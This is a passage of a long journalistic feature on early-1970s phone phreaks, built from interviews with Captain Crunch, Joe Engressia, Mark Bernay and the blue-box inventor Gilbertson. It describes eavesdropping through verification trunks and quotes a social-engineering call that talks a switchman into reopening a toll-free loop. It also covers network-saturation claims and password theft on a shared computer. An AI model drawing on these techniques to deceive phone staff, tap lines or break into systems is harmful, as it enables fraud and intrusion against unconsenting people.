holds verification jacks. It allows them to plug into conversations in case of 
emergency, to listen in to a line to determine if the line is busy or the 

circuits are busy. Phone phreaks have learned to beep out the codes which lead 
them to a verification operator, tell the verification operator they are 

switchmen from some other area code testing out verification trunks. Once the 
operator hooks them into the verification trunk, they disappear into the board 

for all practical purposes, slip unnoticed into any one of the 10,000 to 

100,000 numbers in that central office without the verification operator 

knowing what they're doing, and of course without the two parties to the 
connection knowing there is a phantom listener present on their line. 


Toward the end of my hour-long first conversation with him, I asked the Captain 
if he ever tapped phones. 


“Oh no. I don't do that. I don't think it's right," he told me firmly. "I 

have the power to do it but I don't... Well one time, just one time, I have to 
admit that I did. There was this girl, Linda, and ] wanted to find out... you 
know. I tried to call her up for a date. ] had a date with her the last 
weekend and I thought she liked me. I called her up, man, and her line was 


busy, and I kept calling and it was still busy. Well, I had just learned about 
this system of jumping into lines and I said to myself, 'Hmmm. Why not just 
see if it works. It'll surprise her if all of a sudden I should pop up on her 

line. It'll impress her, if anything.’ So I went ahead and did it. I M-Fed 

into the line. My M-F-er is powerful enough when patched directly into the 
mouthpiece to trigger a verification trunk without using an operator the way 
the other phone phreaks have to. 


"I slipped into the line and there she was talking to another boyfriend, 

Making sweet talk to him. I didn't make a sound because I was so disgusted. 
So I waited there for her to hang up, listening to her making sweet talk to the 
other guy. You know. So as soon as she hung up I instantly M-F-ed her up and 
all I said was, ‘Linda, we're through.' And I hung up. And it blew her head 

off. She couldn't figure out what the hell happened. 


"But that was the only time. I did it thinking I would surprise her, impress 
her. Those were all my intentions were, and well, it really kind of hurt me 
pretty badly, and... and ever since then I don't go into verification trunks." 


Moments later my first conversation with the Captain comes to a close. 


"Listen," he says, his spirits somewhat cheered, "listen. What you are going 

to hear when I hang up is the sound of tandems unstacking. Layer after layer of 
tandems unstacking until there's nothing left of the stack, until it melts away 
into nothing. Cheep, cheep, cheep, cheep,” he concludes, his voice descending 
to a whisper with each cheep. 


He hangs up. The phone suddenly goes into four spasms: kachink cheep. Kachink 
cheep kachink cheep kachink cheep, and the complex connection has wiped itself 
out like the Cheshire cat's smile. 


The MF Boogie Blues 


The next number I choose from the select list of phone-phreak alumni, prepared 
for me by the blue-box inventor, is a Memphis number. It is the number of Joe 
Engressia, the first and still perhaps the most accomplished blind phone 
phreak. 


Three years ago Engressia was a nine-day wonder in newspapers and magazines all 
over America because he had been discovered whistling free long-distance 
connections for fellow students at the University of South Florida. Engressia 

was born with perfect pitch: he could whistle phone tones better than the 
phone-company's equipment. 


Engressia might have gone on whistling in the dark for a few friends for the 


rest of his life if the phone company hadn't decided to expose him. He was 
warned, disciplined by the college, and the whole case became public. In the 
months following media reports of his talent, Engressia began receiving strange 
calls. There were calls from a group of kids in Los Angeles who could do some 
very strange things with the quirky General Telephone and Electronics circuitry 
in L.A. suburbs. There were calls from a group of mostly blind kids in ----, 
California, who had been doing some interesting experiments with Cap'n Crunch 
whistles and test loops. There was a group in Seattle, a group in Cambridge, 
Massachusetts, a few from New York, a few scattered across the country. Some 
of them had already equipped themselves with cassette and electronic M-F 
devices. For some of these groups, it was the first time they knew of the 

others. 


The exposure of Engressia was the catalyst that linked the separate 

phone-phreak centers together. They all called Engressia. They talked to him 
about what he was doing and what they were doing. And then he told them -- the 
scattered regional centers and lonely independent phone phreakers -- about each 
other, gave them each other's numbers to call, and within a year the scattered 
phone-phreak centers had grown into a nationwide underground. 


Joe Engressia is only twenty-two years old now, but along the phone-phreak 
network he is "the old man," accorded by phone phreaks something of the 

reverence the phone company bestows on Alexander Graham Bell. He seldom needs 
to make calls anymore. The phone phreaks all cal! him and let him know what 

new tricks, new codes, new techniques they have learned. Every night he sits 

like a sightless spider in his little apartment receiving messages from every 

tendril of his web. It is almost a point of pride with Joe that they call 

him. 


But when I reached him in his Memphis apartment that night, Joe Engressia was 
lonely, jumpy and upset. 


"God, I'm glad somebody called. I don't know why tonight of all nights I don't 
get any calls. This guy around here got drunk again tonight and propositioned 
me again. I keep telling him we'll never see eye to eye on this subject, if 

you know what I mean. I try to make light of it, you know, but he doesn't get 
it. Ican head him out there getting drunker and I don't know what he'll do 
next. It's just that I'm really all alone here, just moved to Memphis, it's 

the first time I'm living on my own, and I'd hate for it to all collapse now. 

But I won't go to bed with him. I'm just not very interested in sex and even 
if] can’t see him I know he's ugly. 


“Did you hear that? That's him banging a bottle against the wall outside. 
He's nice, Well forget about it. You're doing a story on phone phreaks? 
Listen to this. It's the MF Boogie Blues. 


Sure enough, a jumpy version of Muskrat Ramble boogies its way over the line, 
each note one of those long-distance phone tones. The music stops, A huge 
roaring voice blasts the phone off my ear: "AND THE QUESTION IS..." roars the 
voice, "CAN A BLIND PERSON HOOK UP AN AMPLIFIER ON HIS OWN?" 


The roar ceases, A high-pitched operator-type voice replaces it. "This is 
Southern Braille Tel. & Tel. Have tone, will phone.” 


This is succeeded by a quick series of M-F tones, a swift "kachink” and a deep 
reassuring voice: "If you need home care, call the visiting-nurses association. 
First National time in Honolulu is 4:32 p.m." 


Joe back in his Joe voice again: "Are we seeing eye to eye? 'Si, si,’ said the 
blind Mexican. Ahem. Yes. Would you like to know the weather in Tokyo?" 


This swift manic sequence of phone-phreak vaudeville stunts and blind-boy jokes 
manages to keep Joe's mind off his tormentor only as long as it lasts. 


"The reason I'm in Memphis, the reason I have to depend on that homosexual guy, 
is that this is the first time I've been able to live on my own and make phone 

trips on my own. I've been banned from all central offices around home in 
Florida, they knew me too well, and at the University some of my fellow 

scholars were always harassing me because I was on the dorm pay phone all the 
time and making fun of me because of my fat ass, which of course I do have, 

it's my physical fatness program, but I don't like to hear it every day, and if 

I can't phone trip and I can't phone phreak, I can't imagine what I'd do, I've 

been devoting three quarters of my life to it. 


"I moved to Memphis because I wanted to be on my own as well as because it has 
a Number S crossbar switching system and some interesting little independent 
phone-company districts nearby and so far they don't seem to know who I am so I 
can go on phone tripping, and for me phone tripping is just as important as 

phone phreaking." 


Phone tripping, Joe explains, begins with calling up a central-office switch 
room. He tells the switchman in a polite earnest voice that he's a blind 
college student interested in telephones, and could he perhaps have a guided 
tour of the switching station? Each step of the tour Joe likes to touch and 
feel relays, caress switching circuits, switchboards, crossbar arrangements. 


So when Joe Engressia phone phreaks he feels his way through the circuitry of 
the country garden of forking paths, he feels switches shift, relays shunt, 
crossbars swivel, tandems engage and disengage even as he hears -- with perfect 
pitch -- his M-F pulses make the entire Bell system dance to his tune. 


Just one month ago Joe took all his savings out of his bank and left home, over 
the emotional! protests of his mother. "I ran away from home almost," he likes 
to say. Joe found a small apartment house on Union Avenue and began making 
phone trips. He'd take a bus a hundred miles south in Mississippi to see some 
old-fashioned Bell equipment still in use in several states, which had been 
puzzling. He'd take a bus three hundred miles to Charlotte, North Carolina, to 
look at some brand-new experimental equipment. He hired a taxi to drive him 
twelve miles to a suburb to tour the office of a small phone company with some 
interesting idiosyncrasies in its routing system. He was having the time of 

his life, he said, the most freedom and pleasure he had known. 


In that month he had done very little long-distance phone phreaking from his 
own phone, He had begun to apply for a job with the phone company, he told me, 
and he wanted to stay away from anything illegal. 


"Any kind of job will do, anything as menial as the most lowly operator. 

That's probably all they'd give me because I'm blind. Even though I probably 
know more than most switchmen. But that's okay. I want to work for Ma Bell. 
I don't hate Ma Bell the way Gilbertson and some phone phreaks do. I don't 
want to screw Ma Bell. With me it's the pleasure of pure knowledge. There's 
something beautiful about the system when you know it intimately the way J do. 
But I don't know how much they know about me here. I have a very intuitive 
feel for the condition of the line I'm on, and I think they're monitoring me 

off and on lately, but I haven't been doing much illegal. I have to make a few 
calls to switchmen once in a while which aren't strictly legal, and once I took 

an acid trip and was having these auditory hallucinations as if I were trapped 
and these planes were dive-bombing me, and all of sudden I had to phone phreak 
out of there. For some reason I had to call Kansas City, but that's all." 


A Warning Is Delivered 


At this point -- one o'clock in my time zone -- a loud knock on my motel-room 
door interrupts our conversation. Outside the door I find a uniformed security 
guard who informs me that there has been an "emergency phone call" for me while 
I have been on the line and that the front desk has sent him up to let me 

know, 


Two seconds after I say good-bye to Joe and hang up, the phone rings. 


“Who were you talking to?" the agitated voice demands. The voice belongs to 
Captain Crunch. "I called because I decided to warn you of something. I 
decided to warn you to be careful. I don't want this information you get to 

get to the radical underground. I don't want it to get into the wrong hands. 
What would you say if | told you it's possible for three phone phreaks to 
saturate the phone system of the nation. Saturate it. Busy it out. All of 


it. I know how to do this. I'm not gonna tell. A friend of mine has already 
saturated the trunks between Seattle and New York. He did it with a 
computerized M-F-er hitched into a special Manitoba exchange. But there are 
other, easier ways to do it.” 


Just three people? I ask. How is that possible? 


"Have you ever heard of the long-lines guard frequency? Do you know about 
stacking tandems with 17 and 2600? Well, I'd advise you to find out about it. 
I'm not gonna tell you. But whatever you do, don't let this get into the hands 
of the radical underground." 


(Later Gilbertson, the inventor, confessed that while he had always been 

skeptical about the Captain's claim of the sabotage potential of trunk-tying 

phone phreaks, he had recently heard certain demonstrations which convinced him 
the Captain was not speaking idly. "I think it might take more than three 

people, depending on how many machines like Captain Crunch's were available. 
But even though the Captain sounds a little weird, he generally turns out to 

know what he's talking about.") 


"You know," Captain Crunch continues in his admonitory tone, "you know the 
younger phone phreaks call Moscow all the time. Suppose everybody were to call 
Moscow. I'm no right-winger. But I value my life. I don't want the Commies 
coming over and dropping a bomb on my head. That's why I say you've got to be 
careful about who gets this information." 


The Captain suddenly shifts into a diatribe against those phone phreaks who 
don't like the phone company. 


"They don't understand, but Ma Bell knows everything they do. Ma Bell knows. 
Listen, is this line hot? I just heard someone tap in. I'm not paranoid, but 

I can detect things like that. Well, even if it is, they know that I know that 

they know that I have a bulk eraser. I'm very clean." The Captain pauses, 
evidently torn between wanting to prove to the phone-company monitors that he 
does nothing illegal, and the desire to impress Ma Bell with his prowess. "Ma 
Bell knows how good] am. And I am quite good. I can detect reversals, tandem 
switching, everything that goes on ona line. I have relative pitch now. Do 

you know what that means? My ears are a $20,000 piece of equipment. With my 
ears | can detect things they can't hear with their equipment. I've had 
employment problems. I've lost jobs. But I want to show Ma Bell how good J 
am. I don’t want to screw her, I want to work for her. [ want to do good for 

her. I want to help her get rid of her flaws and become perfect. That's my 
number-one goal in life now." The Captain concludes his warnings and tells me 
he has to be going. "I've got a little action lined up for tonight,” he 

explains and hangs up. 


Before I hang up for the night, I call Joe Engressia back. He reports that his 
tormentor has finally gone to sleep -- “He's not blind drunk, that's the way I 
get, ahem, yes; but you might say he's in a drunken stupor.” I make a date to 
visit Joe in Memphis in two days. 


A Phone Phreak Call Takes Care of Business 


The next morning | attend a gathering of four phone phreaks in ----- (a 
California suburb). The gathering takes place in a comfortable split-level 

home in an upper-middle-class subdivision. Heaped on the kitchen table are the 
portable cassette recorders, M-F cassettes, phone patches, and line ties of the 
four phone phreaks present. On the kitchen counter next to the telephone is a 
shoe-box-size blue box with thirteen large toggle switches for the tones. The 
parents of the host phone phreak, Ralph, who is blind, stay in the living room 
with their sighted children. They are not sure exactly what Ralph and his 
friends do with the phone or if it's strictly legal, but he is blind and they 

are pleased he has a hobby which keeps him busy. 


The group has been working at reestablishing the historic "2111" conference, 
reopening some toll-free loops, and trying to discover the dimensions of what 
seem to be new initiatives against phone phreaks by phone-company security 
agents. 


It is not long before I get a chance to see, to hear, Randy at work. Randy is 

known among the phone phreaks as perhaps the finest con man in the game. Randy 
is blind. He is pale, soft and pear-shaped, he wears baggy pants and a wrinkly 
nylon white sport shirt, pushes his head forward from hunched shoulders 

somewhat like a turtle inching out of its shell. His eyes wander, crossing and 
recrossing, and his forehead is somewhat pimply. He is only sixteen years 

old. 


But when Randy starts speaking into a telephone mouthpiece his voice becomes so 
stunningly authoritative it is necessary to look again to convince yourself it 

comes from a chubby adolescent Randy. Imagine the voice of a crack oil-rig 
foreman, a tough, sharp, weather-beaten Marlboro man of forty. Imagine the 
voice of a brilliant performance-fund gunslinger explaining how he beats the 

Dow Jones by thirty percent. Then imagine a voice that could make those two 
sound like Stepin Fetchit. That is sixteen-year-old Randy's voice. 


He is speaking to a switchman in Detroit. The phone company in Detroit had 
closed up two toll-free loop pairs for no apparent reason, although heavy use 

by phone phreaks all over the country may have been detected. Randy is telling 
the switchman how to open up the loop and make it free again: 


"How are you, buddy. Yeah. I'm on the board in here in Tulsa, Oklahoma, and 


we've been trying to run some tests on your loop-arounds and we find’em busied 
out on both sides... Yeah, we've been getting a 'BY' on them, what d’ya say, 

can you drop cards on 'em? Do you have 08 on your number group? Oh that's 
okay, we've had this trouble before, we may have to go after the circuit. Here 
lemme give 'em to you: your frame is 05, vertical group 03, horizontal 5, 
vertical file 3. Yeah, we'll hang on here.... Okay, found it? Good. Right, 

yeah, we'd like to clear that busy out. Right. All you have to do is look for 
your key on the mounting plate, it's in your miscellaneous trunk frame. Okay? 
Right. Now pull your key from NOR over the LCT. Yeah. I] don't know why that 
happened, but we've been having trouble with that one. Okay. Thanks a lot 
fella. Be seein’ ya." 


Randy hangs up, reports that the switchman was a little inexperienced with the 
loop-around circuits on the miscellaneous trunk frame, but that the loop has 
been returned to its free-call status. 


Delighted, phone phreak Ed returns the pair of numbers to the active-status 
column in his directory. Ed is a superb and painstaking researcher. With 

almost Talmudic thoroughness he will trace tendrils of hints through soft-wired 
mazes of intervening phone-company circuitry back through complex linkages of 
switching relays to find the location and identity of just one toll-free loop. 

He spends hours and hours, every day, doing this sort of thing. He has somehow 
compiled a directory of eight hundred "Band-six in- WATS numbers" located in 
over forty states. Band-six in- WATS numbers are the big 800 numbers -- the 
ones that can be dialed into free from anywhere in the country. 


Ed the researcher, a nineteen-year-old engineering student, is also a superb 
technician. He put together his own working blue box from scratch at age 
seventeen. (He is sighted.) This evening after distributing the latest issue 

of his in- WATS directory (which has been typed into Braille for the blind phone 
phreaks), he announces he has made a major new breakthrough: 


"I finally tested it and it works, perfectly. I've got this switching matrix 
which converts any touch-tone phone into an M-F-er." 


The tones you hear in touch-tone phones are not the M-F tones that operate the 
long-distance switching system. Phone phreaks believe A.T.&T. had deliberately 
equipped touch tones with a different set of frequencies to avoid putting the 

six master M-F tones in the hands of every touch-tone owner. Ed's complex 
switching matrix puts the six master tones, in effect put a blue box, in the 

hands of every touch-tone owner. 


Ed shows me pages of schematics, specifications and parts lists. "It's not easy 
to build, but everything here is in the Heathkit catalog." 


Ed asks Ralph what progress he has made in his attempts to reestablish a 
long-term open conference line for phone phreaks. The last big conference -- 

the historic "2111" conference -- had been arranged through an unused Telex 
test-board trunk somewhere in the innards of a 4A switching machine in 
Vancouver, Canada. For months phone phreaks could M-F their way into 
Vancouver, beep out 604 (the Vancouver area code) and then beep out 2111 (the 
internal phone-company code for Telex testing), and find themselves at any 
time, day or night, on an open wire talking with an array of phone phreaks from 
coast to coast, operators from Bermuda, Tokyo and London who are phone-phreak 
sympathizers, and miscellaneous guests and technical experts. The conference 
was a massive exchange of information. Phone phreaks picked each other's 
brains clean, then developed new ways to pick the phone company's brains clean. 
Ralph gave M F Boogies concerts with his home-entertainment-type electric 
organ, Captain Crunch demonstrated his round-the-world prowess with his 
notorious computerized unit and dropped leering hints of the "action" he was 
getting with his girl friends. (The Captain lives out or pretends to live out 
several kinds of fantasies to the gossipy delight of the blind phone phreaks 

who urge him on to further triumphs on behalf of all of them.) The somewhat 
rowdy Northwest phone-phreak crowd let their bitter internal feud spill over 

into the peaceable conference line, escalating shortly into guerrilla warfare; 

Carl the East Coast international tone relations expert demonstrated newly 
opened direct M-F routes to central offices on the island of Bahrein in the 
Persian Gulf, introduced a new phone-phreak friend of his in Pretoria, and 
explained the technical operation of the new Oakland-to Vietnam linkages. 
(Many phone phreaks pick up spending money by M-F-ing calls from relatives to 
Vietnam G.L's, charging $5 for a whole hour of trans-Pacific conversation.) 


Day and night the conference line was never dead. Blind phone phreaks all over 
the country, lonely and isolated in homes filled with active sighted brothers 

and sisters, or trapped with slow and unimaginative blind kids in straitjacket 
schools for the blind, knew that no matter how late it got they could dial up 

the conference and find instant electronic communion with two or three other 
blind kids awake over on the other side of America. Talking together on a 
phone hookup, the blind phone phreaks say, is not much different from being 
there together. Physically, there was nothing more than a two-inch-square wafer 
of titanium inside a vast machine on Vancouver Island. For the blind kids 
>there< meant an exhilarating feeling of being in touch, through a kind of 

skill and magic which was peculiarly their own. 


Last April 1, however, the long Vancouver Conference was shut off. The phone 
phreaks knew it was coming. Vancouver was in the process of converting from a 
step-by-step system to a 4A machine and the 2111 Telex circuit was to be wiped 
out in the process. The phone phreaks learned the actual day on which the 
conference would be erased about a week ahead of time over the phone company's 
internal-news-and-shop-talk recording. 


— 


For the next frantic seven days every phone phreak in America was on and off 
the 2111 conference twenty-four hours a day. Phone phreaks who were just 
learning the game or didn't have M-F capability were boosted up to the 
conference by more experienced phreaks so they could get a glimpse of what it 
was like before it disappeared. Top phone phreaks searched distant area codes 
for new conference possibilities without success. Finally in the early morning 
of April 1, the end came. 


"I could feel it coming a couple hours before midnight," Ralph remembers. "You 
could feel something going on in the lines. Some static began showing up, then 
some whistling wheezing sound. Then there were breaks. Some people got cut 
off and called right back in, but after a while some people were finding they 

were cut off and couldn't get back in at all. It was terrible. I lost it 

about one a.m., but managed to slip in again and stay on until the thing 

died... I think it was about four in the morning. There were four of us still 
hanging on when the conference disappeared into nowhere for good. We all tried 
to M-F up to it again of course, but we got silent termination. There was 

nothing there." 


The Legendary Mark Bernay Turns Out To Be "The Midnight Skulker" 


Mark Bernay. I had come across that name before. It was on Gilbertson's 

select list of phone phreaks. The California phone phreaks had spoken of a 
mysterious Mark Bernay as perhaps the first and oldest phone phreak on the West 
Coast. And in fact almost every phone phreak in the West can trace his origins 
either directly to Mark Bernay or to a disciple of Mark Bernay. 


It seems that five years ago this Mark Bernay (a pseudonym he chose for 

himself) began traveling up and down the West Coast pasting tiny stickers in 
phone books all along his way. The stickers read something like "Want to hear 

an interesting tape recording? Call these numbers." The numbers that followed 
were toll-free loop-around pairs. When one of the curious called one of the 
numbers he would hear a tape recording pre-hooked into the loop by Bernay which 
explained the use of loop-around pairs, gave the numbers of several more, and 
ended by telling the caller, "At six o'clock tonight this recording will stop 

and you and your friends can try it out. Have fun." 


"I was disappointed by the response at first," Bernay told me, when I finally 
reached him at one of his many numbers and he had dispensed with the usual "I 
never do anything illegal" formalities which experienced phone phreaks open 
most conversations. 


"I went all over the coast with these stickers not only on pay phones, but I'd 
throw them in front of high schools in the middle of the night, I'd leave them 
unobtrusively in candy stores, scatter them on main streets of small towns. At 


first hardly anyone bothered to try it out. I would listen in for hours and 
hours after six o'clock and no one came on. I couldn't figure out why people 
wouldn't be interested. Finally these two girls in Oregon tried it out and 
told all their friends and suddenly it began to spread." 


Before his Johny Appleseed trip Bernay had already gathered a sizable group of 
early pre-blue-box phone phreaks together on loop-arounds in Los Angeles. 
Bernay does not claim credit for the original discovery of the loop-around 
numbers. He attributes the discovery to an eighteen-year-old reform school kid 
in Long Beach whose name he forgets and who, he says, "just disappeared one 
day." When Bernay himself discovered loop-arounds independently, from clues in 
his readings in old issues of the Automatic Electric Technical Journal, he 

found dozens of the reform-school kid's friends already using them. However, it 
was one of Bernay's disciples in Seattle that introduced phone phreaking to 

blind kids. The Seattle kid who learned about loops through Bernay's recording 
told a blind friend, the blind kid taught the secret to his friends at a winter 

camp for blind kids in Los Angeles. When the camp session was over these kids 
took the secret back to towns all over the West. This is how the original 

blind kids became phone phreaks. For them, for most phone phreaks in general, 
it was the discovery of the possibilities of loop-arounds which led them on to 

far more serious and sophisticated phone-phreak methods, and which gave them a 
medium for sharing their discoveries, 


A year later a blind kid who moved back east brought the technique to a blind 
kids' summer camp in Vermont, which spread it along the East Coast. All froma 
Mark Bernay sticker, 


Bernay, who is nearly thirty years old now, got his start when he was fifteen 
and his family moved into an L.A. suburb serviced by General Telephone and 
Electronics equipment. He became fascinated with the differences between Bell 
and G.T.&E, equipment. He learned he could make interesting things happen by 
carefully timed clicks with the disengage button. He learned to interpret 

subtle differences in the array of clicks, whirrs and kachinks he could hear on 
his lines. He learned he could shift himself around the switching relays of 

the L.A. area code in a not-too-predictable fashion by interspersing his own 
hook-switch clicks with the clicks within the line. (Independent phone 
companies -- there are nineteen hundred of them still left, most of them tiny 
island principalities in Ma Bell's vast empire -- have always been favorites 

with phone phreaks, first as learning tools, then as Archimedes platforms from 
which to manipulate the huge Bell system. A phone phreak in Bell territory 
will often M-F himself into an independent's switching system, with switching 
idiosyncrasies which can give him marvelous leverage over the Bell System. 


"T have a real affection for Automatic Electric Equipment,” Bernay told me. 
"There are a lot of things you can play with. Things break down in interesting 


ways.” 


Shortly after Bernay graduated from college (with a double major in chemistry 
and philosophy), he graduated from phreaking around with G.T.&E. to the Bell 
System itself, and made his legendary sticker-pasting journey north along the 
coast, settling finally in Northwest Pacific Bell territory. He discovered 

that if Bell does not break down as interestingly as G.T.&E., it nevertheless 
offers a Jot of "things to play with." 


Bernay learned to play with blue boxes. He established his own personal 
switchboard and phone-phreak research laboratory complex. He continued his 
phone-phreak evangelism with ongoing sticker campaigns. He set up two recording 
numbers, one with instructions for beginning phone phreaks, the other with 

latest news and technical developments (along with some advanced instruction) 
gathered from sources all over the country. 


These days, Bernay told me, he had gone beyond phone-phreaking itself. "Lately 
I've been enjoying playing with computers more than playing with phones. My 
personal thing in computers is just like with phones, I guess -- the kick is in 
finding out how to beat the system, how to get at things I'm not supposed to 
know about, how to do things with the system that I'm not supposed to be able 
to do." 


As a matter of fact, Bernay told me, he had just been fired from his 
computer-programming job for doing things he was not supposed to be able to do. 
he had been working with a huge time-sharing computer owned by a large 
corporation but shared by many others. Access to the computer was limited to 
those programmers and corporations that had been assigned certain passwords. 
And each password restricted its user to access to only the one section of the 
computer cordoned off from its own information storager. The password system 
prevented companies and individuals from stealing each other's information. 


"T figured out how to write a program that would let me read everyone else's 
password," Bernay reports. "I began playing around with passwords. I began 
letting the people who used the computer know, in subtle ways, that I knew 
their passwords. I began dropping notes to the computer supervisors with hints 
that I knew what I know. I signed them ‘The Midnight Skulker.' I kept getting 
cleverer and cleverer with my messages and devising ways of showing them what I 
could do. I'm sure they couldn't imagine I could do the things I was showing 
them. But they never responded to me. Every once in a while they'd change the 
passwords, but I found out how to discover what the new ones were, and J let 
them know. But they never responded directly to the Midnight Skulker. I even 
finally designed a program which they could use to prevent my program from 
finding out what it did. In effect I told them how to wipe me out, The 

Midnight Skulker. It was a very clever program. | started leaving clues about 


myself. I wanted them to try and use it and then try to come up with something 
to get around that and reappear again. But they wouldn't play. I wanted to 

get caught. 1 mean I didn't want to get caught personally, but I wanted them 

to notice me and admit that they noticed me. I wanted them to attempt to 
respond, maybe in some interesting way." 

Finally the computer managers became concerned enough about the threat of 
information-stealing to respond, However, instead of using The Midnight 
Skulker's own elegant self-destruct program, they called in their security 
personnel, interrogated everyone, found an informer to identify Bernay as The 
Midnight Skulker, and fired him. 


“At first the security people advised the company to hire me full-time to 

search out other flaws and discover other computer freaks. I might have liked 
that. But I probably would have turned into a double double agent rather than 

the double agent they wanted. I might have resurrected The Midnight Skulker 
and tried to catch myself. Who knows? Anyway, the higher-ups turned the whole 
idea down." 


You Can Tap the F.B.I.'s Crime Control Computer in the Comfort of Your Own 
Home, Perhaps 


Computer freaking may be the wave of the future. It suits the phone-phreak 
sensibility perfectly. Gilbertson, the blue-box inventor and a lifelong phone 
phreak, has also gone on from phone-phreaking to computer-freaking. Before he 
got into the blue-box business Gilbertson, who is a highly skilled programmer, 
devised programs for international currency arbitrage. 


But he began playing with computers in earnest when he learned he could use his 
blue box in tandem with the computer terminal installed in his apartment by the 
instrumentation firm he worked for. The print-out terminal and keyboard was 
equipped with acoustical coupling, so that by coupling his little ivory 

Princess phone to the terminal and then coupling his blue box on that, he could 
M-F his way into other computers with complete anonymity, and without charge; 
program and re-program them at will; feed them false or misleading information; 
tap and steal from them. He explained to me that he taps computers by busying 
out all the lines, then going into a verification trunk, listening into the 

passwords and instructions one of the time sharers uses, and them M-F-ing in 
and imitating them. He believes it would not be impossible to creep into the 
F.B.I's crime contro] computer through a local police computer terminal and 
phreak around with the F.B.I.'s memory banks. He claims he has succeeded in 
re-programming a certain huge institutional computer in such a way that it has 
cordoned off an entire section of its circuitry for his personal use, and at 

the same time conceals that arrangement from anyone else's notice. I have been 
unable to verify this claim. 


Like Captain Crunch, like Alexander Graham Bell (pseudonym of a 
disgruntled-looking East Coast engineer who claims to have invented the black 
box and now sells black and blue boxes to gamblers and radical heavies), like 
most phone phreaks, Gilbertson began his career trying to rip off pay phones as 

a teenager. Figure them out, then rip them off. Getting his dime back from 

the pay phone is the phone phreak's first thrilling rite of passage. After 

learning the usual eighteen different ways of getting his dime back, Gilbertson 
learned how to make master keys to coin-phone cash boxes, and get everyone 
else's dimes back. He stole some phone-company equipment and put together his 
own home switchboard with it. He learned to make a simple "bread-box" device, 
of the kind used by bookies in the Thirties (bookie gives a number to his 

betting clients; the phone with that number is installed in some widow lady's 
apartment, but is rigged to ring in the bookie's shop across town, cops trace 

big betting number and find nothing but the widow). 


Not long after that afternoon in 1968 when, deep in the stacks of an 
engineering library, he came across a technical journal with the phone tone 
frequencies and rushed off to make his first blue box, not long after that 
Gilbertson abandoned a very promising career in physical chemistry and began 
selling blue boxes for $1,500 apiece, 


"[ had to leave physical chemistry. I just ran out of interesting things to 
learn," he told me one evening. We had been talking in the apartment of the 
man who served as the link between Gilbertson and the syndicate in arranging 
the big $300,000 blue-box deal which fell through because of legal trouble. 
There has been some smoking. 


"No more interesting things to learn," he continues. "Physical chemistry turns 
out to be a sick subject when you take it to its highest level. I don't know. 

I don't think I could explain to you how it's sick. You have to be there. But 

you get, I don't know, a false feeling of omnipotence. I suppose it's like 
phone-phreaking that way. This huge thing is there. This whole system. And 
there are holes in it and you slip into them like Alice and you're pretending 
you're doing something you're actually not, or at least it's no longer you 

that's doing what you thought you were doing. It's all Lewis Carroll. 

Physical chemistry and phone-phreaking. That's why you have these phone-phreak 
pseudonyms like The Cheshire Cat, the Red King, and The Snark. But there's 
something about phone-phreaking that you don't find in physical chemistry." He 
looks up at me: 


"Did you ever steal anything?” 
"Well yes, I..." 


"Then you know! You know the rush you get. It's not just knowledge, like 


physical chemistry. It's forbidden knowledge. You know. You can learn about 
anything under the sun and be bored to death with it. But the idea that it's 
illegal. Look: you can be small and mobile and smart and you're ripping off 
somebody large and powerful and very dangerous.” 


People like Gilbertson and Alexander Graham Bell are always talking about 
ripping off the phone company and screwing Ma Bell. But if they were shown a 
single button and told that by pushing it they could turn the entire circuitry 

of A.T.&T. into molten puddles, they probably wouldn't push it. The 
disgruntled-inventor phone phreak needs the phone system the way the lapsed 
Catholic needs the Church, the way Satan needs a God, the way The Midnight 
Skulker needed, more than anything else, response. 


Later that evening Gilbertson finished telling me how delighted he was at the 
flood of blue boxes spreading throughout the country, how delighted he was to 
know that "this time they're really screwed." He suddenly shifted gears. 


"Of course. I do have this love/hate thing about Ma Bell. In a way I almost 
like the phone company. I guess I'd be very sad if they were to disintegrate. 
In a way it's just that after having been so good they turn out to have these 
things wrong with them. It's those flaws that allow me to get in and mess with 
them, but I don't know. There's something about it that gets to you and makes 
you want to get to it, you know." 


I ask him what happens when he runs out of interesting, forbidden things to 
learn about the phone system. 


"I don't know, maybe I'd go to work for them for a while.” 
"In security even?" 


"I'd do it, sure. I just as soon play -- I'd just as soon work on either 
side.” 


"Even figuring out how to trap phone phreaks? I said, recalling Mark Bernay's 
game." 


"Yes, that might be interesting. Yes, I could figure out how to outwit the 
phone phreaks. Of course if] got too good at it, it might become boring 

again. Then I'd have to hope the phone phreaks got much better and outsmarted 
me for a while. That would move the quality of the game up one level. I might 
even have to help them out, you know, ‘Well, kids, I] wouldn't want this to get 
around but did you ever think of -- ?' 1 could keep it going at higher and 

higher levels forever.” 


—— 


The dealer speaks up for the first time. He has been staring at the soft 

blinking patterns of light and colors on the translucent tiled wall facing him. 
(Actually there are no patterns: the color and illumination of every tile is 
determined by a computerized random-number generator designed by Gilbertson 
which insures that there can be no meaning to any sequence of events in the 
tiles.) 


"Those are nice games you're talking about,” says the dealer to his friend. 

"But I wouldn't mind seeing them screwed. A telephone isn't private anymore. 
You can’t say anything you really want to say on a telephone or you have to go 
through that paranoid bullshit. 'Is it cool to talk on the phone?’ I mean, 

even if it is cool, if you have to ask 'Is it cool,’ then it isn't cool. You 

know. ‘Is it cool,' then it isn't cool. You know. Like those blind kids, 

people are going to start putting together their own private telephone 

companies if they want to really talk. And you know what else. You don't hear 
silences on the phone anymore, They've got this time-sharing thing on 
long-distance lines where you make a pause and they snip out that piece of time 
and use it to carry part of somebody else's conversation. Instead of a pause, 
where somebody's maybe breathing or sighing, you get this blank hole and you 
only start hearing again when someone says a word and even the beginning of the 
word is clipped off. Silences don't count -- you're paying for them, but they 

take them away from you. It's not cool to talk and you can't hear someone when 
they don't talk. What the hell good is the phone? I wouldn't mind seeing them 
totally screwed." 


The Big Memphis Bust 


Joe Engressia never wanted to screw Ma Bell. His dream had always been to work 
for her. 


The day I visited Joe in his small apartment on Union Avenue in Memphis, he was 
upset about another setback in his application for a telephone job. 


"They're stalling on it. I got a letter today telling me they'd have to 

postpone the interview I requested again. My landlord read it for me. They 
gave me some runaround about wanting papers on my rehabilitation status but I 
think there's something else going on.” 


When I switched on the 40-watt bulb in Joe's room -- he sometimes forgets when 
he has guests -- it looked as if there was enough telephone hardware to start a 
small phone company of his own. 


There is one phone on top of his desk, one phone sitting in an open drawer 
beneath the desk top. Next to the desk-top phone is a cigar-box-size M-F 
device with big toggle switches, and next to that is some kind of switching and 


coupling device with jacks and alligator plugs hanging loose. Next to that is 
a Braille typewriter. On the floor next to the desk, lying upside down like a 
dead tortoise, is the half-gutted body of an old black standard phone. Across 
the room on a torn and dusty couch are two more phones, one of them a 
